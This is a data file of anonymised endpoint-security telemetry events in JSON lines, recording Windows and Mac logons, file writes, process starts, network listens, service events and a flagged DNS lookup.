-{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"} -{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"} -{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"} -{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"} -{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"} -{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"} -{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"} -{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"} -{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"} -{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"} -{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"} -{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"} -{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1601546312519"} -{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"} -{"BootArgs":" NOEXECUTE=OPTIN HYPERVISORLAUNCHTYPE=AUTO FVEBOOT=2125824 NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"} -{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} 